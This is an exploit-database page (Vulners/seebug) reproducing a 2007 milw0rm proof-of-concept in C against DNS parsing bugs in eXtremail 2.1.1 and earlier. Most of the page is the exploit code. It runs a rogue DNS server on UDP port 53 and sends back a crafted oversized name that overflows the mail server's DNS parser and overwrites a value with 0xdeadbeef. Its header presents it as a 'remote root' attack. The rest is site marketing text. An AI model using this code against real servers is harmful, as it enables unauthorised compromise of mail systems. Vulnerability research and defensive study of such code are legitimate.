Lucene search
K

eXtremail <= 2.1.1 DNS Parsing Bugs Remote Exploit PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

eXtremail <= 2.1.1 DNS Parsing Bugs Remote Exploit PoC by mu-

Code

                                                /* extremail-v9.c
 *
 * Copyright (c) 2007 by &#60;[email protected]&#62;
 *
 * eXtremail &#60;2.1.1 remote root POC (x86-lnx)
 * by mu-b - Tue Feb 6 2007
 *
 * - Tested on: eXtremail 2.1.0 (lnx)
 *              eXtremail 2.1.1 (lnx)
 *
 * POC for DNS parsing bugs...
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; version 2 of the License.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;

#define DNS_HDR_LEN   12
#define DNS_TRAIL_LEN 20

#define DNS_PORT      53
#define DNS_MAX_MSG   0x200

#define HAMMER_LEN    284

static char * dns_hdr_buf =
  &#34;\x69\x69&#34;  /* transaction id */
  &#34;\x81\x80&#34;  /* flags */
  &#34;\x00\x01&#34;  /* questions */
  &#34;\x00\x01&#34;  /* answers rrs */
  &#34;\x00\x00&#34;  /* authority rrs */
  &#34;\x00\x00&#34;; /* additional rrs */

static char * dns_trail_buf =
  &#34;\x00\x01&#34;          /* type */
  &#34;\x00\x01&#34;          /* class */
  /* Answers */
  &#34;\xc0\x0c&#34;          /* name ptr */
  &#34;\x00\x01&#34;          /* type */
  &#34;\x00\x01&#34;          /* class */
  &#34;\x00\x01\x51\x80&#34;  /* ttl (1 day) */
  &#34;\x00\x04&#34;          /* data length */
  &#34;\xff\xff\xff\xff&#34;; /* 255.255.255.255 */

int
main (int argc, char *argv[])
{
  int sock, result;
  struct sockaddr_in cliaddr, servaddr;

  printf (&#34;eXtremail 2.1.1 remote root POC\n&#34;
          &#34;by: &#60;[email protected]&#62;\n&#34;
          &#34;http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n&#34;);

  sock = socket (AF_INET, SOCK_DGRAM, 0);
  if (sock &#60; 0)
    {
      perror (&#34;socket()&#34;);
      exit (EXIT_FAILURE);
    }

  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
  servaddr.sin_port = htons (DNS_PORT);
  result = bind (sock, (struct sockaddr *) &servaddr, sizeof servaddr);
  if (result &#60; 0)
    {
      perror (&#34;bind()&#34;);
      exit (EXIT_FAILURE);
    }

  printf (&#34;+Waiting for data on port %d...\n&#34;, DNS_PORT);

  while (1)
    {
      int n, clilen, curlen, len;
      char rbuf[DNS_MAX_MSG], sbuf[DNS_MAX_MSG*4];
      char *ptr;

      memset (rbuf, 0, sizeof rbuf);
      memset (sbuf, 0, sizeof sbuf);

      /* receive message */
      clilen = sizeof cliaddr;
      n = recvfrom (sock, rbuf, DNS_MAX_MSG, 0, (struct sockaddr *) &cliaddr, &clilen);

      if (n &#60; 0)
        {
          printf (&#34;- cannot receive data!\n&#34;);
          continue;
        }

      /* print received message */
      printf (&#34;+ Connection from %s: %u\n&#34;,
              inet_ntoa (cliaddr.sin_addr),
              ntohs (cliaddr.sin_port));

      /* formulate reply */
      ptr = sbuf;
      memcpy (ptr, dns_hdr_buf, DNS_HDR_LEN);
      ptr += DNS_HDR_LEN;

      for (len = 0; len &#60; HAMMER_LEN; ptr += curlen)
      {
        if (len + 63 &#62; HAMMER_LEN)
          curlen = HAMMER_LEN - len;
        else
          curlen = 63;

        len += curlen;
        *ptr++ = curlen;
        memset (ptr, 0x41, curlen);
      }

      *((unsigned long *)(ptr - 4)) = 0xdeadbeef;
      *ptr++ = 0x00;
      memcpy (ptr, dns_trail_buf, DNS_TRAIL_LEN);
      ptr += DNS_TRAIL_LEN;

      n = sendto (sock, sbuf, ptr-sbuf, 0, (struct sockaddr *) &cliaddr, clilen);
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-04-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23